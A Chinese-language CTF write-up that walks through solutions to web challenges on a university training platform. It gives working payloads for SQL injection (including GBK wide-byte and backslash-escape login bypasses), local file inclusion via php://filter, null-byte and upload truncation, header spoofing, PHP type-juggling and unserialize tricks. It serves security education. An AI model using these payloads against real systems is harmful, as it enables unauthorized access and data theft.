南京邮电大学攻防平台WP

最近发现南邮有一个CTF平台,刷了一部分题,WEB题比较全,其他种类的也有覆盖。总结一下WP。

WEB

签到题

题目很简单,查看网页源代码就可以找到flag。

md5 collision

这个题目如果知道MD5碰撞的概念,同时知道了在PHP中的MD5中的0e的比较,这道题目就十分的简单。

如果md的值是以0e开头的,那么就与其他的0e开头的Md5值是相等的。例子如下:

md5('s878926199a')=0e545993274517709034328855841020
md5('s155964671a')=0e342768416822451524974117254469
//可以看到两者的md5值都是以0e开头的,则
md5('s878926199a')==md5('s155964671a') //True
签到2
<html>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
尚未登录或口令错误<form action="./index.php" method="post">
 <p>输入框:<input type="password" value="" name="text1" maxlength="10"><br>
请输入口令:zhimakaimen
  <input type="submit" value="开门">
</form>

</html>

只要过 maxlength=10 这个限制就可以了。

这题不是WEB

非WEB题,图片隐写。16进制编辑器打开即可。

层层递进

通过查看网页源代码,每次点击第一个frame,最后的网址是 http://chinalover.sinaapp.com/web3/404.html ,查看网页源代码,显示如下:

<!-- Placed at the end of the document so the pages load faster -->
<!--  
<script src="./js/jquery-n.7.2.min.js"></script>
<script src="./js/jquery-c.7.2.min.js"></script>
<script src="./js/jquery-t.7.2.min.js"></script>
<script src="./js/jquery-f.7.2.min.js"></script>
<script src="./js/jquery-{.7.2.min.js"></script>
<script src="./js/jquery-t.7.2.min.js"></script>
<script src="./js/jquery-h.7.2.min.js"></script>
<script src="./js/jquery-i.7.2.min.js"></script>
<script src="./js/jquery-s.7.2.min.js"></script>
<script src="./js/jquery-_.7.2.min.js"></script>
<script src="./js/jquery-i.7.2.min.js"></script>
<script src="./js/jquery-s.7.2.min.js"></script>
<script src="./js/jquery-_.7.2.min.js"></script>
<script src="./js/jquery-a.7.2.min.js"></script>
<script src="./js/jquery-_.7.2.min.js"></script>
<script src="./js/jquery-f.7.2.min.js"></script>
<script src="./js/jquery-l.7.2.min.js"></script>
<script src="./js/jquery-4.7.2.min.js"></script>
<script src="./js/jquery-g.7.2.min.js"></script>
<script src="./js/jquery-}.7.2.min.js"></script>
-->

flag显而易见。(数字的前面)

AAencode

可搜索AAencode。flag可以执行这条JS语句后看到。

单身二十年

这个通过burpsuite抓包发现其中有一个 302 http://chinalover.sinaapp.com/web8/search_key.php ,查看内容就会发现其中存在flag。

你从哪里来

使用burpsuite抓包,修改Request包中的Header字段,加上 Referer:www.google.com 就可以拿到flag了。

php decode

题目就是一段PHP代码。代码如下:

<?php
function CLsI($ZzvSWE) {

$ZzvSWE = gzinflate(base64_decode($ZzvSWE));

for ($i = 0; $i < strlen($ZzvSWE); $i++) {

$ZzvSWE[$i] = chr(ord($ZzvSWE[$i]) - 1);

}

return $ZzvSWE;
}eval(CLsI("+7DnQGFmYVZ+eoGmlg0fd3puUoZ1fkppek1GdVZhQnJSSZq5aUImGNQBAA=="));?>

eval改成echo,运行这段代码就可以拿到flag了。
同时推荐看一下http://www.waitalone.cn/eval-gzinflate-base64_decode-decryption.html

文件包含

关于文件包含,参考乌云知识库文件包含 。题目提示是一个LFI的漏洞。访问连接 http://4.chinalover.sinaapp.com/web7/index.php?file=show.php 这就是一个典型的文件包含的漏洞

遇到了这样的文件包含漏洞,就可以使用 filter 的方式读取php的源代码了。用法如下:

http://4.chinalover.sinaapp.com/web7/index.php?file=php://filter/read=convert.base64-encode/resource=index.php 网页返回的就是index.php的源代码的base64编码,解码之后显示如下:

<html>
<title>asdf</title>

<?php
 error_reporting(0);
if(!$_GET[file]){echo '<a href="./index.php?file=show.php">click me? no</a>';}
$file=$_GET['file'];
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
  echo "Oh no!";
  exit();
}
include($file); 
//flag:nctf{edulcni_elif_lacol_si_siht}

?>
</html>

flag就知道了。

单身一百年也没用

这道题目是典型的需要通过Burpsuite进行抓包,抓包发现在 302 http://chinalover.sinaapp.com/web9/index.php 中的Header头中存在flag。这道题目和前面的单身二十年的题目类似,都是使用Burosuite进行抓包。抓包的时候就主要关注请求头,响应头,页面返回内容。

Download~!

访问网页之后,看到的页面如下:

<p><a href="download.php?url=eGluZ3hpbmdkaWFuZGVuZy5tcDM=" target="_blank">星星点灯</a></p>
<p><a href="download.php?url=YnV4aWFuZ3poYW5nZGEubXAz" target="_blank">不想长大</a></p>

上面显示的就是下载所对应的网页源代码。后面的url的参数的值就是对应的文件名。这姑且可以算作是一个简单的文件包含了。url是可控的,我们将url的参数替换为download.php的base64编码即可。

此时我们使用 http://way.nuptzj.cn/web6/download.php?url=ZG93bmxvYWQucGhw 就可以将download.php下载下来。

 <?php
 error_reporting(0);
 include("hereiskey.php");
 $url=base64_decode($_GET[url]);
 if( $url=="hereiskey.php" || $url=="buxiangzhangda.mp3" || $url=="xingxingdiandeng.mp3" || $url=="download.php"){
   $file_size = filesize($url);
   header ( "Pragma: public" );
   header ( "Cache-Control: must-revalidate, post-check=0, pre-check=0" );
   header ( "Cache-Control: private", false );
   header ( "Content-Transfer-Encoding: binary" );
   header ( "Content-Type:audio/mpeg MP3");
   header ( "Content-Length: " . $file_size);
   header ( "Content-Disposition: attachment; filename=".$url);
   echo(file_get_contents($url));
   exit;
 }
 else {
   echo "Access Forbidden!";
 }
 ?>

通过查看download.php的源代码,发现其中还存在一个hereiskey.php文件。使用同样的方式查看hereiskey.php的源代码就可以得到flag了。

通过题目就知道始于cookie有关的。通过Burpsuite抓包,发现在响应包中存在 Set-Cookie: Login=0 。根据这个暗示,只需要将cookie设置为 Login=1 就可以得到flag了。

MYSQL

根据题目提示查看题目下面的robots.txt文件,如下:

别太开心,flag不在这,这个文件的用途你看完了? 在CTF比赛中,这个文件往往存放着提示信息

TIP:sql.php

<?php
if($_GET[id]) {
mysql_connect(SAE_MYSQL_HOST_M . ':' .     SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);
  mysql_select_db(SAE_MYSQL_DB);
 $id = intval($_GET[id]);
$query = @mysql_fetch_array(mysql_query("select content from ctf2 where id='$id'"));
if ($_GET[id]==1024) {
  echo "<p>no! try again</p>";
}
else{
  echo($query[content]);
}
}

根据提示需要访问sql.php,同时需要提供参数id。这道题目的关键地方是在于intval()函数,将一个字符串转换为int类型。那么就很简单了。

访问链接:

http://chinalover.sinaapp.com/web11/sql.php?id=1024.1
就可以得到flag了。本题需要注意的就是intval()这个函数。

sql injection3

访问链接 http://115.28.150.176/sqli/index.php?id=2 得到的结果如下:

执行的sql语句:SELECT id,title FROM news WHERE id='2' id: 2 title: gbksqlinjection
说明这是一个GBK字符串的注入,关于GBK的字符串注入,可以参考 宽字节注入详解 。

通过使用 %df' 就可以逃脱分号的束缚。使用sql语句 http://115.28.150.176/sqli/index.php?id=%df' union select * from news%23 ,页面可以正常地显示内容,接下里就是需要找出flag了。

最后通过各种探查手段,使用sql语句: http://115.28.150.176/sqli/index.php?id=%df' union select *,1 from flag%20%23 显示内容如下:

执行的sql语句:SELECT id,title FROM news WHERE id='運' union select *,1 from flag #' id: nctf{gbk_3sqli} title: 1

/x00

这道题目已经暗示了是一个字符串截断的题目。访问题目地址显示内容如下:

if (isset ($_GET['nctf'])) {
if (@ereg ("^[1-9]+$", $_GET['nctf']) === FALSE)
    echo '必须输入数字才行';
else if (strpos ($_GET['nctf'], '#biubiubiu') !== FALSE)   
    die('Flag: '.$flag);
else
    echo '骚年,继续努力吧啊~';
}

这个题目在之前的hackit中的练习平台上面也有讲过。可以看这道题目中的第四关。题目几乎一样。在这道题目中,payload就是:

http://teamxlc.sinaapp.com/web4/f5a14f5e6e3453b78cd73899bad98d53/index.php?nctf=1%00%23biubiubiu

bypass again

访问题目得到如下代码:

if (isset($_GET['a']) and isset($_GET['b'])) {
if ($_GET['a'] != $_GET['b'])
    if (md5($_GET['a']) === md5($_GET['b']))
        die('Flag: '.$flag);
else
    print 'Wrong.';
}

根据题目的意思,需要传入a和b2个参数,但是要求a和b的值不相等的同时a的md5和b的md5需要相等。这道题目不能使用md5碰撞的方法来解决这个问题,因为在这道题目中使用的是恒等,要求值的类型和值完全相同。

这道题目看似没有办法,但其实是利用了PHP中的一个trick。

当md5一个数组的时候,得到的结果是一个空值。那么2个数组的md5是相等。

那么这道题目的payload为:

http://chinalover.sinaapp.com/web17/index.php?a[]=1&b[]=2

变量覆盖

题目链接

查看网页源代码,关键代码为:

 <?php 
if ($_SERVER["REQUEST_METHOD"] == "POST") { ?>
extract($_POST);
if ($pass == $thepassword_123) { 
    echo $theflag;
}
?>

extract():从数组中将变量导入到当前的符号表,该函数使用数组键名作为变量名,使用数组键值作为变量值。针对数组中的每个元素,将在当前符号表中创建对应的一个变量。由于extract的参数直接是$POST,那么就存在了变量覆盖的可能了。使用Burpsuite修改请求参数,传递pass和thepassword123覆盖掉默认的thepassword_123的值,就可以得到flag了。

PHP是世界上最好的语言

题目链接

查看网页源代码:

<?php
if(eregi("hackerDJ",$_GET[id])) {
echo("<p>not allowed!</p>");
 exit();
}

$_GET[id] = urldecode($_GET[id]);
if($_GET[id] == "hackerDJ")
{
  echo "<p>Access granted!</p>";
  echo "<p>flag: *****************} </p>";
}
?>

这道题目的问题在于urldecode(),开发者可能认为传递过来的$_GET[id]没有进行url编码,但是实际上已经经过了url的编码。那么这道题目只需要将id=hackerDJ进行两次url编码即可。最终的payload为:

http://way.nuptzj.cn/php/index.php?id=%2568%2561%2563%256b%2565%2572%2544%254a

伪装者

不是本地登陆你还想要flag? 根据提示需要本地登陆,那么就需要修改请求头了。增加请求头 X-Forwarded-For: 127.0.0.1 就可以通过验证拿到flag了。

上传绕过

这道题目当时也是做了很长时间,一直无法绕过。虽然我知道这道题目考察的是截断上传的知识点,但是还是无从下手。

如果上传了一个PHP文件之后,网页返回的结果就是:

Array ( [0] => .php [1] => php ) 不被允许的文件类型,仅支持上传jpg,gif,png后缀的文件首先是要通过png,jpg的验证,然后在需要进行php的验证。

抓包发现参数dir存在一个uploads的值,那么修改参数为uploads/1.php[空格],然后在16进制模式下,将20修改为00。最后就可以得到flag了。

SQL注入1

题目链接

其中的核心代码如下:

<?php
if($_POST[user] && $_POST[pass]) {
mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);
mysql_select_db(SAE_MYSQL_DB);
$user = trim($_POST[user]);
$pass = md5(trim($_POST[pass]));
$sql="select user from ctf where (user='".$user."') and (pw='".$pass."')";
    echo '</br>'.$sql;
$query = mysql_fetch_array(mysql_query($sql));
if($query[user]=="admin") {
    echo "<p>Logged in! flag:******************** </p>";
}
if($query[user] != "admin") {
    echo("<p>You are not admin!</p>");
}
}
echo $query[user];
?>

一个入门级的SQL注入的例子。payload如下: user=admin%27%29%23&pass=Password

pass check

核心代码如下:

<?php
$pass=@$_POST['pass'];
$pass1=*;//被隐藏起来的密码
if(isset($pass))    {
if(@!strcmp($pass,$pass1)){
    echo "flag:nctf{*}";
} else {
    echo "the pass is wrong!";
}
} else {
    echo "please input pass!";
}
?>

这道题目中使用了strcmp()函数来比较pass和pass1的值是否相等。但是strcmp()同样存在漏洞。关于strcmp的漏洞网上有很多,这里截取了网上的一段分析:

strcmp() 函数比较两个字符串。

该函数返回:

0 - 如果两个字符串相等;
<0 -如果= string1="" 小于 string2;
>0 - 如果 string1 大于 string2

这里的strcmp函数实际上是将两个变量转换成ascii 然后做数学减法,返回一个int的差值。

也就是说键入’a’和’a’进行比较得到的结果就是0那么如果让$array和’a’比较,php返回null。

那么这道题目就可以将pass以一个数组的方式传入。

起名字真难

代码如下

<?php
function noother_says_correct($number)  {
$one = ord('1');
$nine = ord('9');
for ($i = 0; $i < strlen($number); $i++) {
    $digit = ord($number{$i});
    if ( ($digit >= $one) && ($digit <= $nine) ){
        return false;
    }
}
return $number == '54975581388';
}
$flag='*';
if(noother_says_correct($_GET['key']))
echo $flag;
else
   echo 'access denied';
?>

这道题目看似没有办法,但是想到可以传入16进制,那么问题就解决了。所以payload为:

http://chinalover.sinaapp.com/web12/index.php?key=0xccccccccc
php反序列化

代码:

<?php
class just4fun {
var $enter;
var $secret;
}//这里声明了一个类,有enter和secret两个对象   

if (isset($_GET['pass'])) {
$pass = $_GET['pass'];//获取pass的值

if(get_magic_quotes_gpc()){
    $pass=stripslashes($pass);//去掉转义符
}

$o = unserialize($pass);//反序列化

if ($o) {
    $o->secret = "*";
    if ($o->secret === $o->enter)//判断严格相等
        echo "Congratulation! Here is my secret: ".$o->secret;
    else 
        echo "Oh no... You can't fool me";
}
else echo "are you trolling?";
}
?>

关于序列化和反序列化
在代码中最重要的是$o->secret === $o->enter,要达到这个要求,有这样的解释

在 PHP 中普通的传值赋值行为有个例外就是碰到对象 object 时,在 PHP 5 中是以引用赋值的,除非明确使用了 clone 关键字来拷贝,PHP 支持引用赋值,使用“$var = &$othervar;”语法。引用赋值意味着两个变量指向了同一个数据,没有拷贝任何东西。

这句话就是解题的关键。面向对象中引用的用法也是如此。 于是构造

<?php
class just4fun {
var $enter;
var $secret;
}

$o = new just4fun();
$o->enter = &$o->secret; 
echo serialize($o);
?>

提交即可。

sql injection 4

题目的提示是:

反斜杠可以用来转义,仔细查看相关函数的用法

查看网页的源代码,

<!--
#GOAL: login as admin,then get the flag;
error_reporting(0);
require 'db.inc.php';

function clean($str){
if(get_magic_quotes_gpc()){
    $str=stripslashes($str);
}
return htmlentities($str, ENT_QUOTES);
}

$username = @clean((string)$_GET['username']);
$password = @clean((string)$_GET['password']);

$query='SELECT * FROM users WHERE name=\''.$username.'\' AND pass=\''.$password.'\';';
$result=mysql_query($query);
if(!$result || mysql_num_rows($result) < 1){
die('Invalid password!');
}

echo $flag;
-->
Invalid password!

发现sql查选语句使用了引号,对于此种类型的sql注入就必须要闭合其中的引号。由于使用了htmlentities()函数,所以无法使用号了。此时就可以使用反斜杠来通过转义的方式来吞掉一个分号。注入的payload为:

http://chinalover.sinaapp.com/web15/index.php?username=admin\&password= or 1%23   

那么最后的查询语句就会变为:

SELECT * FROM users WHERE name='admin\'AND pass=' or 1#' 

这样就得到了flag了。
其中user为admin\'AND pass= 同时加上 or 1的判断,显然where条件均为真。
其实本体比较的简单,遇到了带有引号的sql查找,就是要逃脱单引号,要么就是生成一个单引号,要么就是省略掉一个单引号。在本题中由于没有屏蔽反斜线,就可以使用反斜线来去掉一个单引号。

综合题

打开后用JSFUCK解题无果,抓包后发现tip:history of bash
找到http://www.cnblogs.com/h2-database/archive/2012/07/04/2583318.html
访问.bash_history目录,拿到压缩包文件名,下载解压即可。

SQL注入2

查看网页代码:

<?php
if($_POST[user] && $_POST[pass]) {
mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);
 mysql_select_db(SAE_MYSQL_DB);
 $user = $_POST[user];
 $pass = md5($_POST[pass]);
$query = @mysql_fetch_array(mysql_query("select pw from ctf where user='$user'"));
  if (($query[pw]) && (!strcasecmp($pass, $query[pw]))) {
  echo "<p>Logged in! Key: ntcf{**************} </p>";
}
else {
 echo("<p>Log in failure!</p>");
}
}
?>

payload

 user=0' union select 'c4ca4238a0b923820dcc509a6f75849b' %23&pass=1
综合题2

这道题目还是很具有挑战性的。相比其他更偏向于奇技淫巧的题目,这道题目更偏向于真实环境下的渗透题目。其中不仅涉及到SQL注入还需要具有一定的渗透经验,具备了以上的能力才有可能做对这道题目。

直接给出几个写好的WP 1.http://blog.spoock.com/2016/06/20/nuptzj-web2-writeup/?utmsource=tuicool&utmmedium=referral
2.http://www.tuicool.com/articles/uYVZbmv

同时P牛的 创造tips的秘籍——PHP回调后门http://drops.wooyun.org/tips/7279

注入实战1

不确定是否是网站问题,没有注入出结果。

密码重置2

首先看题目的提示:

1.管理员邮箱观察一下就可以找到

2.linux下一般使用vi编辑器,并且异常退出会留下备份文件

3.弱类型bypass

查看网页源代码,知道用户名是admin@nuptzj.cn,登陆提交的地址是 http://nctf.nuptzj.cn/web14/submit.php ,根据题目给出来的提示,可能会存在备份文件,一般情况下备份文件一般都是myfile.txt~或者是.myfile.txt.swp,经过测试发现存在.submit.php.swp文件,文件内容如下:

 ........这一行是省略的代码........ /* 如果登录邮箱地址不是管理员则 die() 数据库结构 -- -- 表的结构 `user` -- CREATE TABLE IF NOT EXISTS `user` ( `id` int(11) NOT NULL AUTO_INCREMENT, `username` varchar(255) NOT NULL, `email` varchar(255) NOT NULL, `token` int(255) NOT NULL DEFAULT '0', PRIMARY KEY (`id`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=2 ; -- -- 转存表中的数据 `user` -- INSERT INTO `user` (`id`, `username`, `email`, `token`) VALUES (1, '****不可见***', '***不可见***', 0); */ ........这一行是省略的代码........ 
if(!empty($token)&&!empty($emailAddress)) { 
if(strlen($token)!=10) 
    die('fail'); 
if($token!='0') 
    die('fail'); 
    $sql = "SELECT count(*) as num from `user` where token='$token' AND email='$emailAddress'"; 
    $r = mysql_query($sql) or die('db error'); 
    $r = mysql_fetch_assoc($r); 
    $r = $r['num']; 
    if($r>0){ echo $flag; }
    else{ echo "失败了呀"; } 
}

其中就是建表语句以及submit.php的语句。从中可以看到,要求token的长度为10且token的值是0,那么token就可以设置为 0000000000 。

xmsec

继续阅读此作者的更多文章